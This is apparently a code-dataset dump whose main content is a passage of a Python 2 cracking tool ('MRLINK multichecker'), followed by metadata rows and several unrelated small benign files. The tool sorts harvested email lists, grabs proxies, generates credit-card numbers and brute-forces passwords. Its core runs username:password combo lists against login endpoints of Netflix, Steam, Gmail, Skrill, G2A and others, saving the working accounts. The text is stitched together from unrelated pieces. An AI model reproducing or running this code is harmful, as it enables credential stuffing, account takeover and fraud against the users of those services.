zzz=open('results/filtres/op.txt','a') zzz.write(fade+'\n') elif '@onet.' in str(fade): onet+=1 zzz=open('results/filtres/onet.txt','a') zzz.write(fade+'\n') elif '@vp' in str(fade): vp+=1 zzz=open('results/filtres/vp.txt','a') zzz.write(fade+'\n') else: other+=1 zzz=open('results/filtres/other.txt','a') zzz.write(fade+'\n') except: pass nouwa=Yahoo+Mailru+inboxru+bkru+hotmail+live+outlook+seznamcz+gmail+orangefr+yandex+gmx+TunisienShitt+aol+freefr+rambler+citromailhu+cncom+Freenetde+freemailhu+abv+tonlinede+op+onet+vp+other print"%s [%s+%s] %sTotal Emails : %s"%(la7mar,lazra9,la7mar,la5dhar,nouwa) self.fitromailon(Yahoo, 'Yahoo') self.fitromailon(Mailru, 'Mail.ru') self.fitromailon(inboxru, 'Inbox.ru') self.fitromailon(bkru, 'bk.ru') self.fitromailon(hotmail, 'Hotmail') self.fitromailon(live, 'Live') self.fitromailon(outlook, 'Outlook') self.fitromailon(seznamcz, 'seznam.cz') self.fitromailon(gmail, 'Gmail') self.fitromailon(orangefr, 'Orange.fr') self.fitromailon(yandex, 'Yandex') self.fitromailon(gmx, 'Gmx') self.fitromailon(aol, 'Aol') self.fitromailon(freefr, 'Free.fr') self.fitromailon(citromailhu,'citromailhu') self.fitromailon(rambler, 'Rambler') self.fitromailon(cncom, '21cn.com') self.fitromailon(Freenetde, 'Freenetde') self.fitromailon(icloud, 'icloud') self.fitromailon(freemailhu, 'Freemail.hu') self.fitromailon(abv, 'Abv.bg') self.fitromailon(tonlinede, 'T-online.de') self.fitromailon(op, 'op') self.fitromailon(onet, 'Onet') self.fitromailon(vp, 'Vp') self.fitromailon(other, 'Speciel Domains') self.fitromailon(notmail, 'Not E-Mail') def sajel(self, ii,j,fiileout): doct='results/Listgrouped/%s/disco%s.txt'%(fiileout,str(j)) toka=open(doct,'a') toka.write(ii+'\n') def nojetsu(self): if not os.path.isdir('results/Listgrouped'): os.mkdir('results/Listgrouped') print """ {re} x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} Kage Benchinn No Jetsu {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) fiile=raw_input("%s[%s+%s] Enter list : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: yoo=open(fiile,'r').read().splitlines() except: print "%s{!} %s Not Founded %s"%(la7mar,fiile,labyadh) fiileout=raw_input("%s[%s+%s] Enter Name of Dictory To Output : %s"%(la7mar,la5dhar,la7mar,lazra9)) while len(fiileout) ==0: fiileout=raw_input("%s[%s+%s] Enter Name of Dictory To Output : %s"%(la7mar,la5dhar,la7mar,lazra9)) os.mkdir('results/Listgrouped/'+str(fiileout)) fillro=raw_input("%s[%s+%s] Number Lines : %s"%(la7mar,la5dhar,la7mar,lazra9)) i=1 j=1 for ii in yoo: if i==int(fillro): i=1 self.sajel(ii,j,fiileout) j=j+1 else: self.sajel(ii,j,fiileout) i=i+1 print "%sYou Have %s Files In 'results/Listgrouped/%s' \033[00m"%(la5dhar,j,fiileout) def tedit(self): if not os.path.isdir('results/Sites'): os.mkdir('results/Sites') print """ {re} x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} HTTP - HTTPs - NoHttp {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x x{r}XXXXXXXXXXXXXXXXXXXXXXXX{re}x X{r} ({b} 01 {r}){y} Add HTTP {re}X X{r} ({b} 02 {r}){y} Remove HTTP(s) {re}X X{r} ({b} 03 {r}){y} Extact HTTP {re}X X{r} ({b} 69 {r}){y} Back {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi,b=lazra9) mayar=raw_input('%sm4rk%s>%s'%(la7mar,ramadi,lazra9)) if not mayar in ['1','01','2','02','3','03','69']: rakez() pass fiile=raw_input("%s[%s+%s] Enter list : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: yoo=open(fiile,'r').read().splitlines() except: print "%s{!} %s Not Founded %s"%(la7mar,fiile,labyadh) if mayar in ['1','01']: for i in yoo: if not i.startswith("http://") or i.startswith("https://"): with open("results/Sites/(%s).txt"%fiile) as aaa: aaa.write('http://%s\n'%i);self.fitromailon(i,'Site') else: with open("results/Sites/(%s).txt"%fiile,'a') as aaa: aaa.write(i) elif mayar in['2','02']: for i in yoo: try: i=i.lower().replace('http://','') except: pass try: i=i.lower().replace('https://','') except: pass try: i=i.lower().replace('www.','') except: pass try: i=i.lower().split('/')[0] except: pass with open("results/Sites/(%s).txt"%fiile,'a') as aaa: aaa.write(i);self.fitromailon(i,'Site') elif mayar=='3': for i in yoo: ororo=re.findall("http://[a-zA-Z]\w.[a-zA-Z]\w{1,8}|https://[a-zA-Z]\w.[a-zA-Z]\w{1,8}",i) for xx in ororo: with open("results/Sites/(%s).txt"%fiile,'a') as aaa: aaa.write(xx) self.fitromailon(xx,'Site') elif mayar=='69': heroken() def logo(self): print """{bl} {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x {bl} x{b}XXXX{g}{bl} MRLINK {c}++++++++{bl}{g} ERRORSYSTEM {b}XXXXX{re}x{bl} x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x {bl} X{r}( {b}01 {r}){y} Make Combo {re}X X{r}( {b}02 {r}){y} Remove Dupliques and spaces {re}X X{r}( {b}03 {r}){y} Extract (Emails/users) & passwords{re}X X{r}( {b}04 {r}){y} Filtre mails {re}X X{r}( {b}05 {r}){y} Proxy Grabber {re}X X{r}( {b}06 {r}){y} Proxy Checker {re}X X{r}( {b}07 {r}){y} Multi Extractor(Combo/Proxy/EMail){re}X X{r}( {b}08 {r}){y} ZeroEye (Key Generator) {re}X X{r}( {b}09 {r}){y} X-Smash (Passlist Maker & Bruter) {re}X X{r}( {b}10 {r}){y} Keyword List Maker {re}X X{r}( {b}11 {r}){y} Grab List With `n` Lines {re}X X{r}( {b}12 {r}){y} ccSama (CreditCard Gen++) {re}X X{r}( {b}13 {r}){y} Username Checker {re}X X{r}( {b}14 {r}){y} Exchanger(user <=> email) {re}X X{r}( {b}15 {r}){y} HTTP/HTTPS Editor {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,b=lazra9,g=la5dhar,y=lasfar,re=ramadi,m=movv,c=cyan,bl=blid) def collozz(ve,nom,l): if l==1: print la7mar+'\t('+lasfar+ve+la7mar+') : '+lasfar+nom else: print la7mar+'('+lasfar+ve+la7mar+') '+lasfar+nom ### ALERT !! """ Bro I Just give u how u need to make a config here just install tamper data in firefox and go to any login page and run tamper and copy the data and see the msg of sucess page (maybe an word or a phrase ) and bla bla bla.... """ #Minecraft def minecraft(usr,passwd,proxy): data={ 'username':usr,'password':passwd,'requestUser':'true' } anon=requests.get("https://authserver.mojang.com/authenticate",data=data).text.encode('utf-8') if 'accessToken' in anon: collozz('Minecraft',combo,1) with open('minecraft.txt','a') as zz: zz.write(combo) #Bein Ar def beinar(usr,passwd,proxy): data={ 'email':usr,'password':passwd,'requestUser':'true' } anon=requests.get("https://proxies-beinmena.portail.alphanetworks.be/proxy/logine",data=data).text.encode('utf-8') if 'newAuthToken' in anon: collozz('Arab Bein',combo,1) with open('beinar.txt','a') as zz: zz.write(combo) #Gmail def gmail(usr,passwd,proxy): if '@gmail.com' not in usr: pass data={ 'Email':usr,'Passwd':passwd,'requestUser':'true' } anon=requests.get("https://www.google.com/accounts/ServiceLogin?",data=data).text.encode('utf-8') if 'accessToken' in anon: collozz('Gmail',combo,1) with open('uplay.txt','a') as zz: zz.write(combo) #FacebO²k def facebook(usr,passwd,proxy): data={ 'email':usr,'pass':passwd,'User-agent':'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1' } anon=requests.get('https://mbasic.facebook.com/login.php?login_attempt=1',timeout=5).text.encode('utf-8') if 'Logout' in anon: collozz('Facebook',combo,1) elif 'checkpoint' in anon: collozz('Facebook(checkpoint)',combo,1) #Steam def steam(usr,passwd,proxy): data= {'username':usr,'password':passwd, } anon=requests.get('https://store.steampowered.com/login/?|=english').text.encode('utf-8') if '<h2>Featured' in anon or 'Logout' in anon: collozz('Steam',combo,1) with open('steam__.txt','a') as zz: zz.write(combo) #Uplay def uplay(usr,passwd,proxy): data= {'username':usr,'password':passwd, } anon=requests.get('http://signupservice.ubi.com/PublicSignupService.svc').text.encode('utf-8') if '"AccountName' in anon or 'token' in anon: collozz('uplay',combo,1) with open('uplay.txt','a') as zz: zz.write(combo) #HideMyass def hma(usr,passwd,proxy): data={ 'username':usr,'password':passwd, } anon=requests.get("https://mobile.api.hmageo.com/clapi/v1.5/user/login",data=data).text.encode('utf-8') if 'plan' in anon and 'Months' in anon: collozz('HideMyass',combo,1) with open('hma.txt','a') as zz: zz.write(combo) #Anghami def anghami(usr,passwd): data={ 'u':usr,'p':passwd,'m':'an','type':'authenticate','language':'ar' ,'angh_type':'authenticate','fingerprint':'1b8f32b2ef50d173c7ba1a1f32ec4811' } anon=requests.get("https://api.anghami.com/gateway.php?angh_type=authenticate",data=data).text.encode('utf-8') if 'plan":"Anghami Plus' in anon: collozz('Anghami Plus',combo,1);open('anghami.txt','a').write(combo) elif 'free' in anon: collozz('Anghami(free)',combo,1);combo;open('anghami.txt','a').write('FREE '+combo) #netflix *.* def netflix(usr,passwd,proxy): data={ 'email':usr,'password':passwd,'secureNetflixId':'v=2','netflixId':'v=2' } anon=requests.get("https://android.prod.cloud.netflix.com/android/samurai/config?path=['signInVerify']&appVersion=6.0.0",data=data).text.encode('utf-8') if 'memberHome' in anon: collozz('Netflix',combo,1) with open('netflix.txt','a') as zz: zz.write(combo) #Skrill def skrill(usr,passwd,proxy): data={ 'user_authentication%5Bsecurity_token%5D':usr,'user_authentication%5Bpassword%5D':passwd,'utf8':'%26%23x2713%3B','authenticity_token':'jiG24XkdDIn86gcqgLfBNJcKQRkzSJcOFKKN0yeeDFc%3D','recaptcha_response_field':'manual_challenge','commit':'Login' } anon=requests.get("https://account.skrill.com/login?locale=en",data=data).text.encode('utf-8') if '>Logout<' in anon: collozz('Skrill',combo,1) with open('skrill.txt','a') as zz: zz.write(combo) #Skype def Skype(usr,passwd,proxy): data={ 'username':usr,'password':passwd } anon=requests.get("https://login.skype.com/account/login-form",data=data).text.encode('utf-8') if 'Add Skype Credit' in anon or'>This is your account.<' in anon: collozz('Skype',combo,1) with open('Skype.txt','a') as zz: zz.write(combo) #mediafire def mediafire(usr,passwd,proxy): data={ 'email':usr,'password':passwd,'token_version':2,'application_id':41515 } anon=requests.get("https://www.mediafire.com/api/user/get_session_token.php",data=data).text.encode('utf-8') if '>Success<' in anon: collozz('mediafire',combo,1) with open('mediafire.txt','a') as zz: zz.write(combo) #Adfly def Adfly(usr,passwd,proxy): data={ 'username':usr,'password':passwd } anon=requests.get("https://api.ay.gy/v1/auth",data=data).text.encode('utf-8') if 'secret_key' in anon: collozz('Adfly',combo,1) with open('Adfly.txt','a') as zz: zz.write(combo) #Zenmate def Zenmate(usr,passwd,proxy): data={ 'install_id':'4569E7C3-F187-46E9-8B93-69F32160D8E8','os_name':'iOS', 'os_ver':'9.2','client_name':'iOS','client_ver':'482','client_env':'iPad' ,'auth_method':'user','auth_id':usr,'auth_secret':passwd } anon=requests.get("https://api.zenguard.biz/v2/sign_in?locale=en",data=data).text.encode('utf-8') if '"account_type":' in anon: collozz('Zenmate',combo,1) with open('Zenmate.txt','a') as zz: zz.write(combo) #Brazzers def Brazzers(usr,passwd,proxy): data={ 'uname':usr,'pword':passwd } anon=requests.get("http://www.brazzersmobile.com/user/login",data=data).text.encode('utf-8') if 'WELCOME TO YOUR PORTAL' in anon: collozz('Brazzers',combo,1) with open('Brazzers.txt','a') as zz: zz.write(combo) #G2A def G2A(usr,passwd,proxy): data={ 'email':usr,'passwd':passwd } anon=requests.get("https://pay.g2a.com/auth/login",data=data).text.encode('utf-8') if 'G2A Wallet Total Balance' in anon: collozz('G2A',combo,1) with open('G2A.txt','a') as zz: zz.write(combo) ######### #Ya7beni# ######### def lkolhne(usr,passwd,proxy): collozz('Combo',usr+passwd,99) try: anghami(usr,passwd) #proxyless except: pass try: netflix(usr,passwd,proxy) except: pass try: hma(usr,passwd,proxy) except: pass #try: #facebook(usr,passwd,proxy) #except: # pass try: uplay(usr,passwd,proxy) except: pass try: steam(usr,passwd,proxy) except: pass try: minecraft(usr,passwd,proxy) except: pass try: beinar(usr,passwd,proxy) except: pass try: gmail(usr,passwd,proxy) except: pass try: skrill(usr,passwd,proxy) except: pass try: Skype(usr,passwd,proxy) except: pass try: mediafire(usr,passwd,proxy) except: pass try: Adfly(usr,passwd,proxy) except: pass try: Zenmate(usr,passwd,proxy) except: pass try: Brazzers(usr,passwd,proxy) except: pass try: G2A(usr,passwd,proxy) except: pass def awlstar(): clear() logliss= choice((""" {r} **** **** ** ** {y} ******** {r}/**/** **/** */* /** {y} **//////** {r}/**//** ** /** * /* ******/** ** {y}** // ***** {r}/** //*** /** ******//**//*/** ** /{y}** **///** {r}/** //* /**/////* /** / /**** /{y}** *****/** // {r}/** / /** /* /** /**/** /{y}/** ////**/** ** {r}/** /** /* /*** /**//** {y}//******** //***** {r}// // / /// // // {y} //////// ///// {r}Github :{y} @Hackermrlinkerrorsystem {r}Insta : {y}@Cyber_Mrlink_error_system_2019 {r}FB : {y}@AingSoloPlayer """.format(r=la7mar,y=lasfar),"""{y} '##::::'##:'##::::::::'########::'##:::'##::{r}'######::::'######::{y} ###::'###: ##:::'##:: ##.... ##: ##::'##::{r}'##... ##::'##... ##:{y} ####'####: ##::: ##:: ##:::: ##: ##:'##:::{r} ##:::..::: ##:::..::{y} ## ### ##: ##::: ##:: ########:: #####::::{r} ##::'####: ##:::::::{y} ##. #: ##: #########: ##.. ##::: ##. ##:::{r} ##::: ##:: ##:::::::{y} ##:.:: ##:...... ##:: ##::. ##:: ##:. ##::{r} ##::: ##:: ##::: ##:{y} ##:::: ##::::::: ##:: ##:::. ##: ##::. ##:.{r} ######:::. ######::{y} ..:::::..::::::::..:::..:::::..::..::::..:::......:::::......::: {r}Github :{y} @Hackermrlinkerrorsystem {r}Insta : {y}@Cyber_Mrlink_error_system_2019 {r}FB : {y}@AingSoloPlayer """.format(r=la7mar,y=lasfar), """ {y}:::: :::: ::: ::::::::: ::: ::: :::::::: :::::::: {y}+:+:+: :+:+:+ :+: :+: :+: :+: :+: :+: :+: :+: :+: {y}+:+ +:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ {r}+#+ +:+ +#+ +#+ +:+ +#++:++#: +#++:++ :#: +#+ {r}+#+ +#+ +#+#+#+#+#+ +#+ +#+ +#+ +#+ +#+ +#+# +#+ {r}#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# {r}### ### ### ### ### ### ### ######## ######## {r}Github :{y} @Hackermrlinkerrorsystem {r}Insta : {y}@Cyber_Mrlink_error_system_2019 {r}FB : {y}@AingSoloPlayer """.format(r=la7mar,y=lasfar))) print logliss;print """ {r}```{y} First , Thnx for using ma Tool .. please contact me for any bug ( Mrlinkerrorsystem2019[at]gmail.com ) Im Just a python developper (AingNoob) and im not responsible for any illegal activity .. This Tool For Terminal & ssh's users | Crack For Everyone ^_^ | Crack For!! Everything :v Completed... Please Check My Brother's Works : @Mrlinkerrorsystem {r}``` {r}[{y}1{r}]{y} Proxy Grabber {r}[{y}2{r}]{y} Multi Checkers (Combo) {r}[{y}3{r}]{y} Multi Tools {r}[{y}4{r}]{y} About {r}[{y}5{r}]{y} Exit """.format(r=la7mar,y=lasfar) z44ck=raw_input('%sm4rk%s>%s '%(la7mar,ramadi,lazra9)) if z44ck in ['04','4']:#this's my old 'presentation and im so lazy to make new style but its okk xD just contact me i need to contact some genious ppl' print """ {re}~{r}> {g}Hello {b}Mastah{r}({g}Hello {b}System{r}) {re}~{r}> About {re}: {y} Coder {re}: {b}Mrlinkerrrorsystem {y} Facebook {re}: {r}[{b}https://www.facebook.com/kakakfahirafia{r}] {y} Instagram {re}: {r}[{b}https://www.instagram.com/CyberMrlinkerrorsystem{r}] {y} E-mail {re}: {r}[{b} mrlinkerrorsystem@gmail.com {r}] {y} Youtube {re}: {r}[{b}https://youtube.com/c/BERBAGIILMUDANAKALSEHAT{r}]{y} New Github{re}: {r}[{b}http://github.com/HackerMrlinkerrorsystem{r}]{y} Donating {re}: {b}I Forget my Btc's Adress Just Contact Me Bro {re}~{r}> {r}<{y}TNT{r}>{g} 1.2.3 Viva La Tunisie {r}</{y}TNT{r}> {re}~{r}> {r}({c}C{r}){c}opyright 2019 - MRLINKERRORSYSTEM \033[00m""".format(r=la7mar,b=lazra9,g=la5dhar,y=lasfar,re=ramadi,m=movv,c=cyan) mbkzarga=raw_input('%s [%sPress Enter To Back ...%s] '%(la7mar,cyan,la7mar)) clear() awlstar() elif z44ck in ['01','1']: os.system('perl ghrab.pl') elif z44ck in ['02','2']: ######## Logo ######## if os.name=='nt': os.system('cls && title ./ MRLINK MULTICHECKER COMBO [PYTHON] \.') print logliss print """ {y} Configs {ba}[{g}19{ba}] {y} Facebook {ba}[{r}OFF{ba}] {y} Netflix {ba}[{g}ON{ba}] {y} ANGHAMI {ba}[{g}ON{ba}] {y} HIDEMYASS{ba}[{g}ON{ba}] {y} UPLAY {ba}[{g}ON{ba}] {y} STEAM {ba}[{g}ON{ba}] {y} MINECRAFT{ba}[{g}ON{ba}] {y} SKRILL {ba}[{g}ON{ba}] {y} GMAIL {ba}[{g}ON{ba}] {y} BEIN AR {ba}[{g}ON{ba}] {y} MEDIAFIRE{ba}[{g}ON{ba}] {y} SKYPE {ba}[{g}ON{ba}] {y} ADFLY {ba}[{g}ON{ba}] {y} ZENMATE {ba}[{g}ON{ba}] {y} BRAZZERS {ba}[{g}ON{ba}] {y} G2A {ba}[{g}ON{ba}] {y} SPOTIFY {ba}[{r}OFF{ba}] {y} INSTAGRAM{ba}[{r}OFF{ba}] {y} AMAZON {ba}[{r}OFF{ba}] {ba} [{r}!{ba}]{y} You Dont have any choice just keep my rules {g}>{r}.{g}< """.format(r=la7mar,y=lasfar,ba=ramadi,b=lazra9,g=la5dhar) thrrd=200 listt=raw_input('%sCombo%s>%s '%(la7mar,ramadi,lazra9)) try: listme=open(listt,'r').read().splitlines() except: print "%s{!} %s Not Founded %s"%(la7mar,listt,labyadh) exit() try: proxls=open('proxy.txt','r').read().splitlines() except: sys.exit("%s{!} Please Rename List Proxy To proxy.txt %s"%(la7mar,labyadh)) thread = [];la77dha=0 for combo in listme: try: user=combo.split(':')[0];passwd=combo.split(':')[1] except:pass if la77dha >=len(proxls):la77dha=0 proxy=proxls[la77dha];la77dha+=1; try: t=threading.Thread(target=lkolhne, args=(user, passwd,proxy));t.start();thread.append(t);time.sleep(0.1) except:pass for j in thread: j.join() elif z44ck in ['03','3']: try:heroken() except:rakez() else: rakez() try: awlstar() except KeyboardInterrupt:rakez() """ Ofc always in the end ,i need to make some comments here xD So this's the first time when i will talk about the Girlfreind the girl who Change 10^10 percent of my life I L+((o)*44)+V+str(3) u Soo Muchhh | Sorry i wanna get some nudes but not here xD No ,Ehhmmm really , i wanna Give This Tool For +5k Crackers/hackers/pentesters/normies .... ~>> Me And 05$$@ (mygf'nickname) We will Back To another Projects nchallah Say Hamdoullah and soubhana allah wsallamou alaykoum <3 Big Love With Indonesia ,Iran, and Free Palastine ... """
40.49303
2,169
0.571543
10,989
78,435
4.052871
0.13923
0.010733
0.006803
0.00595
0.50998
0.457866
0.421896
0.387386
0.364483
0.333229
0
0.043592
0.219685
78,435
1,936
2,170
40.513946
0.684057
0.008606
0
0.431469
0
0.023575
0.389959
0.082304
0.000548
0
0
0
0
0
null
null
0.061952
0.001645
null
null
0.060307
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
3
1e8fe8fe7ca7b8af943812d04a4dea7f840a1407
131
py
Python
test_actor.py
BedirT/HexNV
764ee7c85d6d8010a14acd848381f2da475b59cc
[ "MIT" ]
null
null
null
test_actor.py
BedirT/HexNV
764ee7c85d6d8010a14acd848381f2da475b59cc
[ "MIT" ]
null
null
null
test_actor.py
BedirT/HexNV
764ee7c85d6d8010a14acd848381f2da475b59cc
[ "MIT" ]
null
null
null
from hex import HexBoard from actor import RuleAgent if __name__ == '__main__': actor = RuleAgent('W', 'a1 {b1, b2}')
21.833333
41
0.641221
17
131
4.470588
0.764706
0
0
0
0
0
0
0
0
0
0
0.03
0.236641
131
6
42
21.833333
0.73
0
0
0
0
0
0.151515
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
1e9067626979984ebbc5c6c4727e3e8817f461f0
179
py
Python
demo/sensors/button.py
SpudGunMan/spikedev
ab1860b6c85239c96172b3a4a4b96d13c9a65d3d
[ "MIT" ]
23
2020-01-12T02:59:03.000Z
2022-03-16T14:00:56.000Z
demo/sensors/button.py
SpudGunMan/spikedev
ab1860b6c85239c96172b3a4a4b96d13c9a65d3d
[ "MIT" ]
2
2020-04-20T02:16:59.000Z
2021-11-28T22:08:31.000Z
demo/sensors/button.py
SpudGunMan/spikedev
ab1860b6c85239c96172b3a4a4b96d13c9a65d3d
[ "MIT" ]
11
2020-06-17T11:44:15.000Z
2022-01-29T20:39:52.000Z
# spikedev libraries from spikedev.button import ButtonLeft from spikedev.logging import log_msg log_msg("start") btn = ButtonLeft() btn.wait_for_pressed(5000) log_msg("finish")
19.888889
38
0.804469
26
179
5.346154
0.615385
0.129496
0
0
0
0
0
0
0
0
0
0.024845
0.100559
179
8
39
22.375
0.838509
0.100559
0
0
0
0
0.069182
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
1ecffe1f8ac8fc9aa72513be0993f748b70fd042
44
py
Python
loan/__init__.py
baasare/LoanChecker
09d24ef90266d368abf9ccb629793d13b3361e1a
[ "MIT" ]
null
null
null
loan/__init__.py
baasare/LoanChecker
09d24ef90266d368abf9ccb629793d13b3361e1a
[ "MIT" ]
9
2020-03-24T17:50:53.000Z
2022-02-10T09:44:04.000Z
loan/__init__.py
baasare/LoanChecker
09d24ef90266d368abf9ccb629793d13b3361e1a
[ "MIT" ]
null
null
null
default_app_config = 'loan.apps.LoanConfig'
22
43
0.818182
6
44
5.666667
1
0
0
0
0
0
0
0
0
0
0
0
0.068182
44
1
44
44
0.829268
0
0
0
0
0
0.454545
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1ed2b701da806c26f52585c772792f63517f9551
644
py
Python
GarageWarden/models.py
narcolepticsnowman/GarageWarden
19eba7145a2444337ccaf3af13c83e8a94d2dfcb
[ "MIT" ]
null
null
null
GarageWarden/models.py
narcolepticsnowman/GarageWarden
19eba7145a2444337ccaf3af13c83e8a94d2dfcb
[ "MIT" ]
1
2016-10-07T23:40:28.000Z
2016-10-08T06:16:49.000Z
GarageWarden/models.py
narcolepticsnowman/GarageWarden
19eba7145a2444337ccaf3af13c83e8a94d2dfcb
[ "MIT" ]
null
null
null
from django.db import models class Setting(models.Model): VALUE_TYPES = ( ("B", "Bool"), ("S", "String"), ("N", "Number") ) key = models.CharField(max_length=100, primary_key=True) value = models.CharField(max_length=2000) description = models.CharField(max_length=2000) type = models.CharField(max_length=10, choices=VALUE_TYPES, default="S") order = models.IntegerField(default=0) def get_value(self): if self.type == "B": return self.value == "True" elif self.type == "N": return float(self.value) else: return self.value
28
76
0.59472
78
644
4.807692
0.512821
0.16
0.192
0.256
0.149333
0
0
0
0
0
0
0.029661
0.267081
644
22
77
29.272727
0.764831
0
0
0
0
0
0.040373
0
0
0
0
0
0
1
0.052632
false
0
0.052632
0
0.631579
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
1edfc5a2a0fa9ae212a5180c89bf19e678499456
122
py
Python
Python/desafio_06.py
itsmeLuizMoura/Estudo
c2798ba93c36a274d0fe9a83d781b7e585b8dfbe
[ "MIT" ]
null
null
null
Python/desafio_06.py
itsmeLuizMoura/Estudo
c2798ba93c36a274d0fe9a83d781b7e585b8dfbe
[ "MIT" ]
null
null
null
Python/desafio_06.py
itsmeLuizMoura/Estudo
c2798ba93c36a274d0fe9a83d781b7e585b8dfbe
[ "MIT" ]
null
null
null
num = int(input('Digite um numero: ')) print('Dobro: {} \nTriplo {}\nRaiz quadrada: {}'.format(num*2, num*3, num**(1/2)))
40.666667
82
0.606557
19
122
3.894737
0.789474
0
0
0
0
0
0
0
0
0
0
0.037037
0.114754
122
2
83
61
0.648148
0
0
0
0
0
0.47541
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
3
9495e7200cf31ae04897ad9d2a2a20a9672736e5
141
py
Python
main_temp.py
icynewyear/spacebolds-pygame
7b721f203d7eae379c4499a198045efb5decf5ea
[ "MIT" ]
null
null
null
main_temp.py
icynewyear/spacebolds-pygame
7b721f203d7eae379c4499a198045efb5decf5ea
[ "MIT" ]
null
null
null
main_temp.py
icynewyear/spacebolds-pygame
7b721f203d7eae379c4499a198045efb5decf5ea
[ "MIT" ]
null
null
null
import pygame from engine_temp import Engine def main(): engine = Engine() engine.run_game() if __name__ == '__main__': main()
14.1
30
0.666667
18
141
4.666667
0.611111
0.285714
0
0
0
0
0
0
0
0
0
0
0.219858
141
9
31
15.666667
0.763636
0
0
0
0
0
0.056738
0
0
0
0
0
0
1
0.142857
false
0
0.285714
0
0.428571
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
94961b57b16eb1e671b64a820bcfa3c88ada1a2d
493
py
Python
tests/conftest.py
bentilley/okex-api-v5
e63bcd78bd603de2fb194ef49b87ff040e3eab81
[ "MIT" ]
5
2021-06-25T01:56:20.000Z
2021-11-16T19:19:11.000Z
tests/conftest.py
bentilley/okex-api-v5
e63bcd78bd603de2fb194ef49b87ff040e3eab81
[ "MIT" ]
null
null
null
tests/conftest.py
bentilley/okex-api-v5
e63bcd78bd603de2fb194ef49b87ff040e3eab81
[ "MIT" ]
2
2021-07-19T15:35:22.000Z
2021-11-11T09:08:24.000Z
# conftest.py # Copyright (C) 2021 Ben Tilley <targansaikhan@gmail.com> # # Distributed under terms of the MIT license. import pytest from client import OkexClient @pytest.fixture(scope="module") def vcr_config(): return { "filter_headers": [ ("ok-access-key", None), ("ok-access-passphrase", None), ("ok-access-sign", None), ("ok-access-timestamp", None), ], } @pytest.fixture def client(): return OkexClient()
19.72
57
0.602434
55
493
5.363636
0.690909
0.108475
0.122034
0
0
0
0
0
0
0
0
0.010929
0.257606
493
24
58
20.541667
0.795082
0.225152
0
0
0
0
0.228117
0
0
0
0
0
0
1
0.133333
true
0.066667
0.133333
0.133333
0.4
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
1
0
0
0
3
949e60803ac5ca2bc4c05fe6320854edf0017beb
847
py
Python
base/templatetags/base_filters.py
akmohtashami/mcexam
27ba5e11bafcf247e46132c09d4901e84a35ddf7
[ "MIT" ]
null
null
null
base/templatetags/base_filters.py
akmohtashami/mcexam
27ba5e11bafcf247e46132c09d4901e84a35ddf7
[ "MIT" ]
null
null
null
base/templatetags/base_filters.py
akmohtashami/mcexam
27ba5e11bafcf247e46132c09d4901e84a35ddf7
[ "MIT" ]
1
2019-06-23T17:44:22.000Z
2019-06-23T17:44:22.000Z
from django import template import datetime import convertdate register = template.Library() @register.filter def jalali_date(value, format_string): if isinstance(value, datetime.datetime): (jalali_year, jalali_month, jalali_day) = convertdate.persian.from_gregorian(value.year, value.month, value.day) format_string = format_string.replace("Y", str(jalali_year)) format_string = format_string.replace("m", str(jalali_month).zfill(2)) format_string = format_string.replace("d", str(jalali_day).zfill(2)) format_string = format_string.replace("H", str(value.hour).zfill(2)) format_string = format_string.replace("i", str(value.minute).zfill(2)) format_string = format_string.replace("s", str(value.second).zfill(2)) return format_string else: return format_string
38.5
120
0.716647
111
847
5.261261
0.333333
0.308219
0.184932
0.246575
0.359589
0.253425
0.253425
0
0
0
0
0.007052
0.162928
847
21
121
40.333333
0.816643
0
0
0.117647
0
0
0.007084
0
0
0
0
0
0
1
0.058824
false
0
0.176471
0
0.352941
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
94b8eafe1b5a7d4472aaa26c4b96ff8b6083ba17
180
py
Python
cw4/cw4_zad3.py
c-szymanski/wizualizacja-danych
